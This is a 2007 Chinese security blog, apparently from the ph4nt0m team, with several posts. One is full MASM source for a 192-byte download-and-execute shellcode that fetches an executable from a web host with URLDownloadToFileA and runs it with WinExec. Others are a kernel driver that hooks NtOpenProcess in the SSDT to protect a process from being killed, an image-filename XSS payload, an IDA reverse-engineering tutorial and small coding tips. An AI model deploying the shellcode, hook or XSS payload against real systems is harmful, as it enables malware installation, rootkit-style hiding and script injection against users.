2007年6月26日星期二

[Tips]vc的编译参数优化

by void
2007-06-23
http://www.ph4nt0m.org


/*
      Author: void#ph4nt0m.org
*/

// 编译器 cl.exe(Visual C++ 6.0)
// 没有做任何优化情况下,编译大小为:16K
// 编译优化后: 1K (用16进制编辑器把尾部的0x00去掉: 712bytes)
#include <windows.h>
#pragma comment(lib,
"kernel32.lib")

// 作用: 指定节对齐为512字节
#pragma comment(linker, "/align:512")

// 作用: 合并节
// 将.data节和.rdata节合并到.text节(代码节)
#pragma comment(linker, "/merge:.data=.text")
#pragma comment(linker, 
"/merge:.rdata=.text")

// 作用: 指定子系统为windows (和优化无关)
// vc编译器默认是console,会有个黑糊糊的CMD窗口,不好看.用windows就好了
#pragma comment(linker, "/subsystem:windows")

// 作用: 指定入口函数
// 子系统为windows的默认入口点WinMain和console的默认入口点main,都会引入一段启动stub代码,指定入口函数可去掉之.
#pragma comment(linker, "/ENTRY:main")


//int WinMain(HINSTANCE current, HINSTANCE prev, LPSTR cmdline, int showcmd)

// 作用: 去掉函数的栈帧代码,纯属吹毛求疵:-)
// 即函数开头的push ebp / mov ebp, esp和结尾的pop ebp / retn
__declspec(naked)
void main()
{
      
// 调用wmp. 这是按套路出牌的方法.
      
//typedef VOID (__stdcall *fnRunDllW)(HWND, HINSTANCE, LPCWSTR, DWORD);
      
//((fnRunDllW)GetProcAddress(LoadLibrary("msdxm.ocx"), "RunDllW"))(0,0,0,0);

    
// 不按套路出牌,不压入RunDllW的函数参数,直接调用.
      GetProcAddress(LoadLibrary("msdxm.ocx"), "RunDllW")();
      
// 注意此时的堆栈是不平衡的.
      
// 但是通过ExitProcess()退出自身,就不用去考虑平衡了.
      ExitProcess(0);
}

2007年6月24日星期日

[Exploit]Tiny Download&&Exec ShellCode

Author: czy
http://www.ph4nt0m.org
Date:2007-06-22


;Tiny Download&&Exec ShellCode codz czy 2007.6.1
;header 
163=61(16+8+9+(28))+95(68+27)+17
;
163+19=192
comment 
%
                #
--------------------------------------#          #
              #  Tiny Download
&&Exec ShellCode-->       #       #
            #    
-->size 192                              #   #
          #                      
2007.06.01                 # 
            #                    codz: czy                #   #
             #
------------------------------------------#      #

system :test on ie6
+XPSP2/2003SP2/2kSP4
%
.
586
.model flat,stdcall
option casemap:none

include     c:\masm32\include\windows.inc
include     c:\masm32\include\kernel32.inc
includelib  c:\masm32\lib\kernel32.lib
include     c:\masm32\include\user32.inc
includelib  c:\masm32\lib\user32.lib


.data
shelldatabuffer db 
1024 dup(0)
shellcodebuffer db 
2046 dup(0)
downshell db 
'down exploit',0
txtname  db 
'c:\office\unicode.doc',0
.code
start:
 invoke MessageBoxA,
0,offset downshell,offset downshell,1
 invoke RtlMoveMemory,offset shellcodebuffer,00401040H,
256
 mov eax,offset shellcodebuffer
 jmp eax
 somenops db 90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h
;上面的代码是把在代码段中的shellcode移动数据段中执行,模拟真实的shellcode执行环境 
@@shellcodebegin:  
 call @@beginaddr
@@beginaddr:
 PUSH 03H      ;要调用的API函数个数
 jmp @@realshellcode         
myExitProcess     dd 073e2d87eh  
myWinExec         dd 00e8afe98h   
myLoadLibraryA    dd 0ec0e4e8eh
dll               db 
'URLMON',0,0
myUrlDownFile     dd 0702f1a36h
path              db 
'c:\a.exe',0
url               db 
'http://www.masm32.net/a.exe',0

 

@@realshellcode:
    POP ECX
    POP EDI
    SCASD ;edi
+4
;得到kernel32.dll基地址
db  67h,64h,0A1h,30h,00h
 mov eax, [eax
+0cH]
 mov esi, [eax
+1cH]
    lodsd
 mov ebp, [eax
+08H]          ;EBP中存放kernel32.dll的基地址
;处理导出表
@@next2:
PUSH      ECX
@@next3:
MOV       ESI,[EBP
+3Ch]
MOV       ESI,[EBP
+ESI+78h]
ADD       ESI,EBP
PUSH      ESI
MOV       ESI,[ESI
+20h]
ADD       ESI,EBP
XOR       ECX,ECX
DEC       ECX
@@next:
INC       ECX
LODSD
ADD       EAX,EBP
XOR       EBX,EBX
@@again:
    MOVSX     EDX,BYTE PTR [EAX]
    CMP       DL,DH
    JZ        @@end
    ROR       EBX,0Dh
    ADD       EBX,EDX
    INC       EAX
    JMP       @@again
@@end:
CMP       EBX,[EDI]
JNZ       @@next

POP       ESI
MOV       EBX,[ESI
+24h]
ADD       EBX,EBP
MOV       CX,WORD PTR [ECX
*2+EBX]
MOV       EBX,[ESI
+1Ch]
ADD       EBX,EBP
MOV       EAX,[ECX
*4+EBX]
ADD       EAX,EBP
STOSD
POP       ECX
loop @@next2

mov ecx,[edi]   ;
2
cmp cl,
'c'      ;3
jz @@downfile   ;
2
PUSH EDI
CALL EAX        ;
2
xchg eax,ebp
scasd
scasd
push 
01         ;2第二个DLL的函数个数
jmp @@next3     ;
2
                ;总计17

        
@@downfile:

 push edx  ;
0
 push edx  ;
0
 push    edi  ;file
=c:\a.exe
 lea     ecx, dword ptr [edi
+9h]
 push    ecx  ;url
 push edx  ;
0
 call eax  ;URLDownloadToFileA,
0,url,file=c:\a.exe,0,0
 
 
 push 
1 ;FOR TEST
 push edi
 call dword ptr [edi
-14H] ;winexec,'c:\xxx.exe',1
 
    call dword ptr [edi
-18H] ;Exitprocess

    somenops2 db 90h,90h,90h,90h,90h,90h,90h,90h,90h
    invoke ExitProcess,
0
end start

2007年6月11日星期一

[Tips]简单说说SSDT

Author: 云舒
http://www.ph4nt0m.org
Date: 2007-06-11


论技术,我还差得远,而且网上关于SSDT的文章也多不胜数。但是还是想自己写一下,因为我想试试我能不能用最简单的语言来描述SSDT——这个对一般来人来说比较神秘的属于内核的地带。引用EVA说的一句话,“以为写个驱动就是内核,还远着了”——大概是这么个意思,记得不是很清楚。

关于SSDT,描述得最清楚的应该算《SSDT Hook的妙用-对抗ring0 inline hook》一文了,作者是堕落天才。这里引用一下他写的开头部分,略有个别字符的修改:

内核中有两个系统服务描述符表,一个是KeServiceDescriptorTable,由ntoskrnl.exe导出,一个是 KeServieDescriptorTableShadow,没有导出。这两者都是一个结构体,结构下面会给出。他们的区别是, KeServiceDescriptorTable仅有 ntoskrnel一项,而KeServieDescriptorTableShadow则包含了ntoskrnel和win32k。一般的Native API的服务地址由KeServiceDescriptorTable分派,而gdi.dll和
user.dll的内核API调用服务地址,由 KeServieDescriptorTableShadow分派。还有要清楚一点的是win32k.sys只有在GUI线程中才加载,一般情况下是不加载的。

他们的结构如下:

typedef struct _SYSTEM_SERVICE_TABLE
{
    PVOID ServiceTableBase;    
//这个指向系统服务函数地址表
    PULONG ServiceCounterTableBase;
    ULONG NumberOfService;     
//服务函数的个数,NumberOfService*4 就是整个地址表的大小
    ULONG ParamTableBase;
}SYSTEM_SERVICE_TABLE,
*PSYSTEM_SERVICE_TABLE;

typedef 
struct _SERVICE_DESCRIPTOR_TABLE
{
    SYSTEM_SERVICE_TABLE ntoskrnel;    
//ntoskrnl.exe的服务函数
    SYSTEM_SERVICE_TABLE win32k;    //win32k.sys的服务函数,(gdi.dll/user.dll的内核支持)
    SYSTEM_SERVICE_TABLE NotUsed1;
    SYSTEM_SERVICE_TABLE NotUsed2;
}SYSTEM_DESCRIPTOR_TABLE,
*PSYSTEM_DESCRIPTOR_TABLE; 


当系统需要使用一个本机API的时候,就会去查找SYSTEM_DESCRIPTOR_TABLE这个表,也就是由ntoskrnl.exe导出的KeServiceDescriptorTable:
nt!RtlpBreakWithStatusInstruction:
80527fc8 cc              
int     3
kd
> dd KeServiceDescriptorTable
80553380  805021fc 00000000 0000011c 80502670
80553390  00000000 00000000 00000000 00000000
805533a0  
00000000 00000000 00000000 00000000
805533b0  
00000000 00000000 00000000 00000000
805533c0  
00002710 bf80c227 00000000 00000000
805533d0  f9e6da80 f963a9e0 816850f0 806e0f40
805533e0  
00000000 00000000 00000000 00000000
805533f0  97c5ac40 01c7abf5 
00000000 00000000 


可以看到,KeServiceDescriptorTable的地址是80553380。现在看看这个地址保存的是什么,因为这个地址的值就是 SYSTEM_SERVICE_TABLE的起始地址。好了,我们看到这个地址保存的是805021fc,那么也就是说,系统服务的地址表起始地址为 805021fc了。看看这个表是些什么鬼东西:
kd> dd 805021fc
805021fc  
80599746 805e6914 805ea15a 805e6946
8050220c  805ea194 805e697c 805ea1d8 805ea21c
8050221c  8060b880 8060c5d2 805e1cac 805e1904
8050222c  805ca928 805ca8d8 8060bea6 805ab334
8050223c  8060b4be 8059dbbc 805a5786 805cc406
8050224c  804ffed0 8060c5c4 8056be64 805353f2
8050225c  80604b90 805b19c0 805ea694 80619a56
8050226c  805eeb86 80599e34 80619caa 805996e6 


这个过程是这样的,最开始是SYSTEM_DESCRIPTOR_TABLE(80553380)保存了SYSTEM_SERVICE_TABLE的地址(805021fc),SYSTEM_SERVICE_TABLE的地址(805021fc)又保存了很多地址,这个地址就是系统服务的地址了,类似 NtOpenProcess这样的ring0的函数地址。这样,系统就可以方便的找到每一个ring0函数去调用。

我们先看看第一个地址80599746是个什么函数,反汇编一下:
kd> u 80599746
nt
!NtAcceptConnectPort:
80599746 689c000000      push    9Ch
8059974b 6820a14d80      push    offset nt
!_real+0x128 (804da120)
80599750 e8abebf9ff      call    nt!_SEH_prolog (80538300)
80599755 64a124010000    mov     eax,dword ptr fs:[00000124h]
8059975b 8a8040010000    mov     al,
byte ptr [eax+140h]
80599761 884590          mov     byte ptr [ebp-70h],al
80599764 84c0            test    al,al
80599766 0f84b9010000    je      nt!NtAcceptConnectPort+0x1df (80599925


原来是NtAcceptConnectPort函数,第二个805e6914呢?我们也看一下,
kd> u 805e6914
nt
!NtAccessCheck:
805e6914 8bff            mov     edi,edi
805e6916 
55              push    ebp
805e6917 8bec            mov     ebp,esp
805e6919 33c0            xor     eax,eax
805e691b 
50              push    eax
805e691c ff7524          push    dword ptr [ebp
+24h]
805e691f ff7520          push    dword ptr [ebp+20h]
805e6922 ff751c          push    dword ptr [ebp
+1Ch] 


原来是NtAccessCheck函数。

这样我们可以清楚的看到,在这个起始地址为0x805021fc的表中,保存了各个ring0函数的地址。下面我来做个简单的比喻。

从前有一个很大的帮派,名字叫做Windows,功能很多并且很强大。因为这些各方面的能力由各个专人负责,他们一个人做一件事情。随着人员增多,帮主发现联系起来越来越困了。有一天帮主要找竟然NtOpenProcess来调查一下他的一个手下是不是别的帮派派来的间谍,但是他发现 NtOpenProcess跑不见了。

于是军师就想出了一个好办法来解决这个问题:先建立一个封闭的密室,这个密室只有八袋长老以上的人才能进去。密室中间有一张纸条,上面写着一个地址——温家堡,还有这个地址放着多少人的联系信息等内容。这个密室就是Ntdll.dll,这个纸条就是 SYSTEM_DESCRIPTOR_TABLE,上写的地址就是SYSTEM_SERVICE_TABLE,也就是温家堡了。这个温家堡是一个有很多大房间的地方,每个房子有个房间号
,房间里面又放着一张纸条,上面写着各个手下的住所。比如说编号为7A的房间,里面放的是NtOpenProcess的家庭住址。

这样一来,帮主要找人就容易了。先去密室找到纸条,看看上面写的是温家堡还是白云城,那个地方有多少个人的联系信息等。如果是温家堡就跑到那里去,看看要找谁,找NtOpenProcess就去7A房间。在这个房间里一看,啊,里面写着NtOpenProcess现在就住在密室的旁边……搞定。

这里就有一个新的问题,帮主假设这个里面写的东西都是正确的,没有被人改过。于是就有了别派的间谍发现了,偷偷溜进密室,然后根据纸条的内容,又跑到温家堡。进到7A房间,神不知鬼不觉的把里面记录的NtOpenProcess的地址改成了自己的家。于是,帮主再找人,发现找到对头家里去了。这个就是传说中的SSDT Hook了。

攻击者进入ring0之后,找到KeServiceDescriptorTable地址的值,即SYSTEM_SERVICE_TABLE的地址(进入密室,找到纸条写的地址——温家堡)。然后改写SYSTEM_SERVICE_TABLE中一个特定函数的地址为自己定义的函数入口处,截获了系统调用(来到温家堡,改掉7A房间里面写的住所,改成自己家)。一次HOOK就完成了。

下面我给一段简单的代码,演示怎么样让一个特定的PID不会被杀死。这段代码基本和《SSDT Hook的妙用-对抗ring0 inline hook》一文一样,我只是注释了一下而已,另外在MyNtOpenProcess处加了个判断是不是某个特定PID的功能。
/*
演示HOOK系统服务调用表中的NtOpenProcess函数,保护需要保护的进程被,防止被杀掉
*/

#include
<ntddk.h>

/*
KeServiceDescriptorTable仅有ntoskrnel一项,没有包含win32k,而且后面的两个字段都没有使用,所

以为了简便直接把SystemServiceDescriptorTable定义成SYSTEM_SERVICE_TABLE,免得访问多个结构体的

字段,麻烦。这里明白就行了。
*/
typedef 
struct _SystemServiceDescriptorTable
{
    PVOID    ServiceTableBase;
    PULONG    ServiceCounterTableBase;
    ULONG    NumberOfService;
    ULONG    ParamTableBase;
}SystemServiceDescriptorTable,
*PSystemServiceDescriptorTable;

// KeServiceDescriptorTable为ntoskrnl.exe导出
extern    PSystemServiceDescriptorTable    KeServiceDescriptorTable;

// 定义一下NtOpenProcess的原型,下面如果用汇编调用就不用定义了,但是我想尽量不用汇编
typedef    NTSTATUS    (__stdcall *NTOPENPROCESS)( OUT PHANDLE ProcessHandle,
                                                

IN ACCESS_MASK AccessMask,
                                                

IN POBJECT_ATTRIBUTES ObjectAttributes,
                                                

IN PCLIENT_ID ClientId
                                                

);

NTOPENPROCESS    RealNtOpenProcess;

// 定义函数原型
VOID Hook();
VOID Unhook();
VOID OnUnload(IN PDRIVER_OBJECT DriverObject);

// 真实的函数地址,我们会在自定义的函数中调用
ULONG    RealServiceAddress;

// 需要被驱动保护的进程ID
HANDLE    MyPID;

// 自定义的NtOpenProcess函数
NTSTATUS __stdcall MyNtOpenProcess( OUT    PHANDLE ProcessHandle,
                    IN    ACCESS_MASK DesiredAccess,
                    IN    POBJECT_ATTRIBUTES ObjectAttributes,
                    IN    PCLIENT_ID ClientId )
{
    NTSTATUS    rc;
    ULONG        PID;
    
    
//DbgPrint( "NtOpenProcess() called.\n" );
    
    rc 
= (NTSTATUS)(NTOPENPROCESS)RealNtOpenProcess( ProcessHandle, DesiredAccess,

ObjectAttributes, ClientId );
    
    
if( (ClientId != NULL) )
    {
        PID 
= (ULONG)ClientId->UniqueProcess;
        
//DbgPrint( "%d was opened,Handle is %d.\n", PID, (ULONG)ProcessHandle );
        
        
// 如果进程PID是1520,直接返回权限不足,并将句柄设置为空
        if( PID == 1520 )
        {
            DbgPrint( 
"Some want to open pid 1520!\n" );
            
            ProcessHandle 
= NULL;
                        
            rc 
= STATUS_ACCESS_DENIED;
        }
    }
    
    
return rc;
}

// 驱动入口
NTSTATUS DriverEntry( IN PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath )
{
    DriverObject
->DriverUnload = OnUnload;

    Hook();
    
    
return STATUS_SUCCESS;
}

// 驱动卸载
VOID OnUnload(IN PDRIVER_OBJECT DriverObject)
{
    Unhook( );
}

//  此处修改SSDT中的NtOpenProcess服务地址
VOID Hook()
{
    ULONG            Address;
    
    
// 0x7A为Winxp+SP2下NtOpenProcess服务ID号
    
// Adress是个地址A,这个地址的数据还是一个地址B,这个地址B就是NtOpenProcess的地址了
    
// (ULONG)KeServiceDescriptorTable->ServiceTableBase就是温家堡的第一个房间
    
// Address是第7A个房间。
    Address = (ULONG)KeServiceDescriptorTable->ServiceTableBase + 0x7A * 4;

    
// 取得地址A的值,也就是NtOpenProcess服务的地址了,保存原来NtOpenProcess的地址以后恢

复用
    RealServiceAddress 
= *(ULONG*)Address;
    
    RealNtOpenProcess 
= (NTOPENPROCESS)RealServiceAddress;
    
    DbgPrint( 
"Address of Real NtOpenProcess: 0x%08X\n", RealServiceAddress );

    DbgPrint(
" Address of MyNtOpenProcess: 0x%08X\n", MyNtOpenProcess );

    
// 去掉内存保护
    __asm
    {
        cli
        mov    eax, cr0
        and    eax, not 10000h
        mov    cr0, eax
    }
    
    
// 修改SSDT中NtOpenProcess服务的地址
   *((ULONG*)Address) = (ULONG)MyNtOpenProcess;

    
// 恢复内存保护
    __asm
    {
        mov    eax, cr0
        or    eax, 10000h
        mov    cr0, eax
        sti
    }
}

//////////////////////////////////////////////////////
VOID Unhook()
{
   ULONG   Address;
   Address 
= (ULONG)KeServiceDescriptorTable->ServiceTableBase + 0x7A * 4;

    __asm
    {
        cli
        mov    eax, cr0
        and    eax, not 10000h
        mov    cr0, eax
    }

    
// 还原SSDT
    *((ULONG*)Address) = (ULONG)RealServiceAddress;
    
    __asm
    {
        mov    eax, cr0
        or    eax, 10000h
        mov    cr0, eax
        sti
    }

    DbgPrint(
"Unhook");

2007年6月3日星期日

[Paper]逆向分析点滴

Author: void#ph4nt0m.org
Date: 2007.05.15
Publish Date: 2007.06.04
http://www.ph4nt0m.org

征女友!有意者请点击

Index
========================================
1. IDA的使用
2. 编译器优化
3. Viusal C++, Borland Delphi程序的逆向分析
4. 算法识别技巧(常用的加解密算法)

1. IDA使用
=========================================
      工欲善其事,必先利其器.在开始前,先熟悉下IDA的使用.
      [1] 先说一些常用的功能.
      (1)编译器设置(选项->编译器)用来指定IDA所分析文件是什么编译器生成的,如Visual C++,Borland C++,Delphi.这有什么用呢?
      比如下面是Delphi的反汇编片段,如果编译器设定为Viusal C++:

code:00479A8F                 lea     edx, [ebp+var_40]
code:00479A92                 mov     eax, [ebp
+someString]
code:00479A95                 call    @Sysutils@Trim$qqrx17System@AnsiString
code:00479A95
code:00479A9A                 mov     edx, [ebp
+var_40]
code:00479A9D                 lea     eax, [ebp
+someString]
code:00479AA0                 call    @System@@LStrLAsg$qqrpvpxv

      函数参数类型和个数很难一眼看出来.把编译器设定为Delphi后,一目了然:
code:00479A8F                 lea     edx, [ebp+var_40]
code:00479A92                 mov     eax, [ebp
+someString]
code:00479A95                 call    Sysutils::Trim(System::AnsiString)
code:00479A95
code:00479A9A                 mov     edx, [ebp
+var_40]
code:00479A9D                 lea     eax, [ebp
+someString]
code:00479AA0                 call    System::__linkproc__ LStrLAsg(
void *,void *)

      (2)签名(查看->打开下级查看->签名,右键->Apply new signature...添加签名文件)用来指定加载IDA的库函数签名文件.这个是IDA的非常有用的一个功能.逆向分析就像玩填字游戏,从提示线索出发,补完整个词句.而逆向分析的线索是什么呢?库函数就是其中之一.无论是MFC还是Delphi编写的程序,都要用到大量的库函数,而这些库函数就是我们分析的线索之一.IDA的FLIRT库函数签名能够识别出大部分的库函数并在汇编窗口中标注其名称.分析用户函数时,根据这些库函数,我们可以大致确定用户函数的作用.
      但是IDA的库函数签名也不是万能的,也会遗漏或者错误把用户函数识别成库函数.怎么办?
      如果你分析的文件较大或者CPU较慢时,观察导航器(查看->工具栏->导航器->导航器)就会发现IDA扫描分析会给指令,正则函数和库函数"染色",而库函数往往是在连续区域.我的经验是,如果IDA把这个连续区域外的函数标注成库函数,很大可能就是误识别,而把此连续区域内的函数"染"成用户函数,有可能就是遗漏,未识别.

      (3)创建MAP文件(文件->创建文件->创建MAP文件),能够导出库函数名,用户函数(自己命名的),字符串名等(但是不能导出添加的注释信息.哪位知道如何导出IDA的注释,告诉俺一下:-).导出map文件的目的主要是用于ollydbg,因为od自身不具有识别库函数的功能,所以在用od调试delphi程序的时候,往往误入歧途跟进库函数里面,浪费时间.要在od中导入map,需要一个插件LoadMap,它可以很方便的导入map.导入之后,库函数都会标注上名称,调试起来就容易些了.
      另外还有个OD的插件GODUP(IDA签名载入程序),也可以载入IDA的签名文件来识别库函数,也不错.

      [2] IDA的一些常用的快捷键.
      C 如果你发现一段数据没有被IDA识别成代码,那么可以手动转换.
      G 跳转到地址,就是od的Ctrl+G.
      Ctrl+Enter/Esc 就是od的+/-.
      N 重命名.
      U 如果一段数据被IDA错误识别成代码,用U可以撤销转换.
      X 显示交叉参考. 对函数,可查看该函数的所有调用者;对局部变量,可查看函数里涉及到该局部变量的所有指令.
      Y 在函数名上点Y,用来设置函数类型.
      : 添加注释.
      ; 可重复注释,在逆向过程中不断添加注释和重命名分析过的函数很重要,好记性不如烂笔头嘛.
      Shift+/ 在IDA中选中需要计算的数字,Shift+/即可调用计算器计算,比较方便.不用老去Win+R->calc了.


2. 编译器优化
====================================
      编译器优化体现在很多方面,下面举例说明:
      看看下列指令(这是从rc4的密钥初始化中截取的片段):
.text:0041E208                 and     edx, 800000FFh
.text:0041E20E                 jns     
short loc_41E218
.text:0041E210                 dec     edx
.text:0041E211                 or      edx, 0FFFFFF00h
.text:0041E217                 inc     edx
.text:0041E218

      其实这是edx%256,如果求余运算的求余数是2^n,如16,256等,就会优化成上述形式,因为用除法指令进行求余运算需要的时钟周期较多,执行效率不高,所以编译器尽量避免使用除法指令,就像上面所示.

      再看另一个片段:
.text:0040100D                 mov     ecx, eax       ; eax是被除数
.text: 0040100F                mov     eax, 55555556h
.text:
00401014                 imul    ecx            ; 
.text:
00401016                 mov     eax, edx       ;\注意imul是有符号数乘法,这相当于edx>>31
.text:00401018                 shr     eax, 1Fh       ;/,这样eax存放的是符号位
.text:0040101B                 add     edx, eax       ;加上符号位, 对负数相当于向下舍入为一个较小数

      这段实际上是用乘法来模拟除法运算,翻译上面的汇编代码可以得到(var*0x55555556)>>32,即var*0.333333,所以模拟的除法运算是var/3.


Viusal C++, Borland Delphi程序的分析
======================================
      [1] Viusal C++程序的分析
      先将编译器设定为Visual C++,载入签名如vc32rtf,vc32mfc等.待IDA扫描分析完毕就可以开始工作了.
      逆向前,先要说下函数有4种调用约定,即stdcall,cdecl,fastcall,pascal.它们之间的区别体现在参数入栈顺序和清理入栈参数的方式上.
      stdcall的参数入栈顺序是从右到左,且在函数返回前清理入栈参数,在反汇编代码上体现为retn xx,比如压入2个寄存器作为参数,函数返回时就是retn 8.采用stdcall约定的有WINAPI,以及CALLBACK回调函数等.
      cdecl的参数入栈顺序也是从右到左,但是在函数返回后清理入栈参数,在反汇编代码上体现为add esp, xx,比如压入3个寄存器作为参数,返回时就是add esp, 0Ch.采用cdecl约定的有c标准函数库等.
      可能有人要问stdcall和cdecl貌似没什么区别嘛,这样做不是多此一举吗?呵呵,想想最常用的printf函数族,发现什么了?它的入栈参数个数是不固定的,也就是说在编译期才能确定入栈参数,所以用stdcall是无法实现这类不固定参数的函数,只能用cdecl.
      pascal的参数入栈顺序与上面二者相反,是从左到右.在函数返回前清理入栈参数,这与stdcall一致.
fastcall的特点就是采用寄存器来传递部分函数参数,但具体细节依赖于编译器.如Visual C++编译器的fastcall约定是前两个参数依次用ecx,edx,第3个开始push入栈.
      归纳如下:
调用约定入栈参数清理参数入栈顺序
cdecl调用者处理右->左
stdcall函数自己处理右->左
pascal函数自己处理左->右
fastcall函数自己处理依赖于编译器

      直接调用Windows SDK写的C代码编译后是比较好分析的,只要熟悉Windows API基本就能找到和分析自己感兴趣的部分.比较棘手的是MFC一类C++代码的逆向问题.因为出现call dword ptr [esi+XXh]一类的虚函数调用,不能一路很顺利的跟下去.当然,你可以从调用点回溯到类实例创建的地方,从而知道调用的是什么函数.不过这样比较麻烦,投机取巧的办法,是用od到虚函数调用的地方前下断,然后由this指针得到虚函数表地址(this指针指向的类实例存储结构的第一项就是虚函数表地址),偏移XXh得到虚函数地址.

      [2] Borland Delphi程序的分析
      先把编译器设定为Delphi,载入签名d5vcl等.待IDA扫描分析完毕.
      Delphi的函数调用是fastcall.Borland Delphi的fastcall约定是前3个参数依次用eax,edx,ecx传递,第4个开始push入栈.如果是虚函数,第一个参数eax就是this指针. 形象点就是function(eax, edx, ecx, push...).
      举个例子:
code:004531CC                 lea     eax, [ebp+var_30]    
code: 004531CF                 push     eax                     ; 第4个参数
code:004531D0                 lea     ecx, [ebp
+var_38]      ; 第3个参数
code:004531D3                 mov     edx, esi                ; 第 2个参数
code:004531D5                 mov      eax, ebx                ; 第1个参数,this指针
code:004531D7                 mov     edi, [eax]             ; edi 
<- vmt ptr
code:004531D9                 call    dword ptr [edi
+0Ch]    ; 虚函数调用

      先前说过库函数是我们分析一个用户函数的重要线索,因为Delphi对Windows API做了封装,所以在Delphi程序里鲜有直接调用Windows API,基本是对库的调用,所以在分析的时候需要常翻Delphi Help.
      另外,Delphi的字符串处理方式和C库有很大不同,没有熟知的str*函数族.推荐阅读看雪上firstrose整理的"Delphi的内部字符串处理函数/过程不完全列表"一文.

算法识别技巧
===================================
      这里指的识别比较窄,就是一些通用加解密算法的识别.
      算法识别当然依靠算法的特征.其中最明显的特征莫过于通用算法使用的一些初始化数据了.
      比如下面这段代码截取自Blowfish的初始化函数:
code:004513A0                 mov     eax, offset S_Box_blowfish
code:004513A5                 mov     ecx, 1000h
code:004513AA                 call    @Move
code:004513AF                 lea     edx, [esi
+103Ch]
code:004513B5                 mov     eax, offset P_Box_blowfish

      我们跳转到S_Box_blowfish处,可以看到如下的初始化数据(BTW:其实这是pi的16进制表示)
data:0048D308 P_Box_blowfish  dd 243F6A88h, 85A308D3h, 13198A2Eh, 3707344h, 0A4093822h, 299F31D0h, 82EFA98h, 0EC4E6C89h
data:0048D308                         dd 452821E6h, 38D01377h, 0BE5466CFh, 34E90C6Ch, 0C0AC29B7h, 0C97C50DDh, 3F84D5B5h, 0B5470917h
data:0048D308                         dd 9216D5D9h, 8979FB1Bh
data:0048D350 S_Box_blowfish  dd 0D1310BA6h, 98DFB5ACh, 2FFD72DBh, 0D01ADFB7h, 0B8E1AFEDh, 6A267E96h, 0BA7C9045h, 0F12C7F99h

      假设此时你还不知道这个算法是什么,我的做法是把其中一段初始化数据,比如S盒的开始这段0D1310BA6h, 98DFB5ACh, 2FFD72DBh, 0D01ADFB7h提交到http://www.google.com/codesearch去查询.呵,看到什么了?google返回了blowfish的代码.现在你可以初步确定这个算法是Blowfish了.
      有时候仅靠算法的初始化数据是不够,因为在google codesearch命中的结果太多了.比如:
code:0047EEB7                 mov     ecx, 9E3779B9h  ; Magic Number
code:0047EEBC                 mov     esi, ecx
code:0047EEBE                 mov     edx, ecx
code:0047EEC0                 mov     [esp
+18h+delta1], ecx
code:0047EEC4                 mov     [esp
+18h+delta2], ecx
code:0047EEC8                 mov     [esp
+18h+delta3], ecx
code:0047EECC                 mov     [esp
+18h+delta4], ecx
code:0047EED0                 mov     [esp
+18h+delta5], ecx

      这里仅有一个初始化数据9E3779B9,提交到google codesearch命中了600个结果.这时就结合算法的特征了,比如这里将9E3779B9赋值给esi,edx,delta[1~5]共7个变量.我们在google返回的gnubg-0.14.3/lib/isaac.c里面找到了这样的特征:
    70:    r=ctx->randrsl;
           a
=b=c=d=e=f=g=h=0x9e3779b9;  /* the golden ratio */
alpha.gnu.org
/gnu/gnubg/gnubg-0.14.3.tar.gz - GPL - C

      呵呵,原来这是Isaac伪随机数算法.
      这里只是为了说明的方便,所以省略了很多,我当时判断这个算法的时候,将整个Issac_Rand_Initial函数和Issac的c代码粗略的比对了一遍后,在od中断下Issac_Rand_Initial,将输入的种子扔到c代码中编译测试,与od的结果一致,确定为Issac伪随机数算法.

=======[EOF]=======

[Tips]Image Upload XSS

by axis
2007-06-04
www.ph4nt0m.org

今天在ha.ckers.org看到了一个小技巧,关于图片上传处跨站的。

原文地址是:http://ha.ckers.org/blog/20070603/image-upload-xss/

引用原文中的例子

an example of something you might test for:

<IMG SRC="$filename">

So you upload this file:

http://ha.ckers.org/image-xss/"onerror="alert('XSS')"a=".jpg

This ends up making the page look like:

<IMG SRC=""onerror="alert('XSS')"a=".jpg">


简单来说,就是如果图片的文件名没有检查的话,也是会造成跨站的,我想很多程序员都会忽略这里吧!

需要注意的是,在windows下是不允许输入双引号的,但是linux下可以。类似的还有一些其他字符。

在windows下利用时,可以直接构造数据包提交,同时也要注意服务器是否对非法文件名的字符过滤。

[Tips]在java中输出hex bytes

by luoluo
2007-06-04
www.ph4nt0m.org

在java里输出bytes array乍一想好像不难,但是做起来还是小有点学问,没想到也有个printf的方法,挺好用的,不废话看代码:


public class Test {

    
/**
     * 
@param args
     
*/
    
public static void main(String[] args) {
        
// TODO Auto-generated method stub
        byte[] buffer = new byte[] 
         {
                (
byte)0x00, (byte)0xFE, (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00
                (
byte)0x01, (byte)0xCC, (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00
                (
byte)0x02, (byte)0x25, (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00
         };
        
        
for (int i = 0; i < buffer.length; i ++) {
            System.out.printf(
"0x%02X ", buffer[i]);
        }
    }

}